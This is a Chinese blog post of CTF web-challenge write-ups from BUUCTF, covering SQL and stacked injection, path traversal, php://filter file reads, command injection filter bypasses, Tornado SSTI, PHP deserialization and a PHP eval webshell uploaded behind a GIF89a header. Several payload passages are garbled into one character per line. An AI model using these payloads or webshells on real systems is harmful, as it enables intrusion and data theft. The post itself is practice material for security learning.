title: buu1-16
date: 2021-03-07 16:58:29
tags: 二刷buu
坦白说,第一次刷题感觉不是很好,很多东西没吸收,所以二刷,想把之前丢掉的知识捡回来。
[HCTF 2018]WarmUp
两个php文件,hint.php提示flag在ffffllllaaaagggg
代码审计:
白名单,传入值在白名单里,
$_page = mb_substr(//mb_substr() 函数返回字符串的一部分
$page,
0,//从0开始截取
mb_strpos($page . '?', '?')//strpos()函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
);//两个函数组合起来的意思是返回page从开始到?的字符串
if (in_array($_page, $whitelist)) {
return true;//要求截取的字符串在白名单内,所以source,php和hint.php都可以
}
构造payloda:?file=hint.php?../…/…/…/…/ffffllllaaaagggg
(一开始flag不在当前目录,要用…/进行目录跳转)
[极客大挑战 2019]EasySQL
万能密码登录:1’or’1’='1
[强网杯 2019]随便注
1回显,1’不回显,1’ #显示正常字符型注入
(1’ or 1=1 #爆出该表中所有字段)
order by 2,2个字段
select被过滤,用堆叠注入(注意每小段语句后都要加;)
查表:
1';show tables;返回1919810931114514与words
查列:(引表名用反引号)
1';show columns from `1919810931114514`
查字段
到此,发现回显内容在words表(输入1,回显的是words的内容),flag在1919810931114514表
不能用select,否则可以直接查1919810931114514表
- 3个骚方法:预编译,handler查询,修改表名和列名
写过,不赘述了。 - 再敲一遍
[极客大挑战 2019]Havefun 1
源码,get传参
[ACTF2020 新生赛]Include 1
php://filter协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]Secret File 1
抓包,得php,代码审计,get传参
strstr(“Hello world!”,“world”); // 输出 world!
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE
该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))
过滤了目录穿越,和几个php伪协议,没过滤php://filter协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]LoveSQL 1
先登录,万能密码 ?username=admin%27%23&password=1即可登陆成功
最常规的Union联合查询
[GXYCTF2019]Ping Ping Ping
?ip=127.0.0.1 | ls查目录,发现空格被过滤
绕过方法:
$IFS
${IFS}
I
F
S
IFS
IFS数字
<
<>
绕过后查取目录出现flag.php和index.php,读取/?ip=127.0.0.1$IFS
9
∣
9|
9∣IFS
9
c
a
t
9cat
9catIFS$9flag.php
发现字符flag被过滤,读取index.php查看源码
/?ip=
|’|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/", $ip, $match);
die(“fxck your symbol!”);//过滤\右边的符号
} else if(preg_match("/ /", $ip)){
die(“fxck your space!”);//过滤空格
} else if(preg_match("/bash/", $ip)){
die(“fxck your bash!”);
} else if(preg_match("/.*f.*l.*a.g./", $ip)){
die(“fxck your flag!”);
}
a
=
s
h
e
l
l
e
x
e
c
(
"
p
i
n
g
−
c
4
"
.
a = shell_exec("ping -c 4 ".
a=shellexec("ping−c4".ip);
echo "
";
print_r($a);
}
读取flag.php的其他方法
sh
payload:
?ip=127.0.0.1;echo$IFS
6
Y
2
F
0
I
G
Z
s
Y
W
c
u
c
G
h
w
∣
b
a
s
e
64
6Y2F0IGZsYWcucGhw|base64
6Y2F0IGZsYWcucGhw∣base64IFS$6-d|sh
(将“cat flag.php”经base64转码得到)
变量拼接
index.php代码有一个变量a,可以用变量a代替被过滤的flag中的某个字符,从而绕过flag过滤,进而读取flag
/?ip=127.0.0.1;a=g;cat$IFS
2
f
l
a
2fla
2flaa.php
内联注释
/?ip=127.0.0.1;cat$IFS$2`ls`
将反引号内命令的输出结果作为输入来进行命令执行,这样flag.php和index.php的结果都能直接查看(flag在源码中)
[ACTF2020 新生赛]Exec
PING
常见管道符命令执行:
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、; 前后都执行,无论前面真假,同&,(linux也有)
法一:用127.0.0.1;ls …/找,…/目录穿越,直到127.0.0.1;ls …/…/…/看到flag,用127.0.0.1;cat …/…/…/flag读取
法二:127.0.0.1 | find / -name flag直接找,得/flag,读取:127.0.0.1 | cat /flag
[极客大挑战 2019]Knife
蚁剑登录,flag在根目录
[护网杯 2018]easy_tornado
考察SSTI(模板注入)
tornado是一个python的模板,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页
flag in /fllllllllllllag
通过handler.settings对象获取cookie_secret的值,即:
handler指向RequestHandler
RequestHandler.settings指向self.application.settings
所以handler.settings最终指向RequestHandler.application.settings,
?msg={{handler.settings}}得到cookie_secret,
写脚本得到md5(cookie_secret+md5(filename))
import hashlib
filename = '/fllllllllllllag'
cookie_secret = "db3053bf-a59d-4f87-bdcb-30e165e0167b"
tmp = hashlib.md5(filename.encode(encoding='utf-8')).hexdigest()
data = cookie_secret + tmp
res = hashlib.md5(data.encode(encoding='utf-8')).hexdigest()
print(res)
?filename=/fllllllllllllag
&filehash=3bc0e02c9138512bbd1aa0d86451772e
[RoarCTF 2019]Easy Calc
源码提示:calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){//不显示num才会包含文件
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
有eval()函数,说不定有代码执行漏洞:eval()代码执行漏洞,1,2
num传参测试: ?num=123123,可显,数字可显,字母不可显 字母都被WAF拦截,利用PHP的字符串解析特性绕过waf,PHP字符串解析特性。
由于php在解析url中的参数时,保存前会把num前面的空格去掉再解析,所以在num前加空格可绕过WAF,在num前加个空格,弹出之前代码中的提示,只要在黑名单中,都会提示what are you want to do?
可以查phpinfo()
payload: ? num=phpinfo()
PHP函数:
scandir("/"):以数组形式返回指定目录中的文件和目录
var_dump():输出变量的相关信息,显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
file_get_contents():把整个文件读入一个字符串中。
- ?%20num=var_dump(scandir(chr(47))): 查看文件目录(“/”被过滤了,可以使用chr(47)来进行表示,进行目录读取)
- ?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 读取flag
[极客大挑战 2019]Http
It doesn’t come from ‘https://www.Sycsecret.com’
加 Referer:https://www.Sycsecret.com
Please use “Syclover” browser
改 User-Agent: Syclover" browser
No!!! you can only read this locally!!!
加 X-Forwarded-For:127.0.0.1
[极客大挑战 2019]PHP
备份文件www.zip有php文件
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
传递参数select,res为select反序列化后的值
class.php:
<?php
include 'flag.php';
error_reporting(0);
class Name{//声明类
private $username = 'nonono';
private $password = 'yesyes';
//两个都是私有数据
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die(); //password值必须为100,否则die
}
if ($this->username === 'admin') {
global $flag; //username值必须为admin
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
[极客大挑战 2019]Upload 1
文件上传漏洞,要上传图片
上传普通一句话木马,失败:<?被过滤
<?php @eval($_POST['flag']);?>
换个形式,用JS木马,
<script language='php'>eval($_POST[flag]);</script>
被检测到不是图片(暴露了),用文件幻术头绕过
GIF89a
<script language='php'>eval($_POST[flag]);</script>
上传成功,抓包,修改后缀,尝试蚁剑登录
但是文件后缀改为php,字符php被过滤,修改为phtml即可上传成功
地址为url+upload+文件名
根目录找flag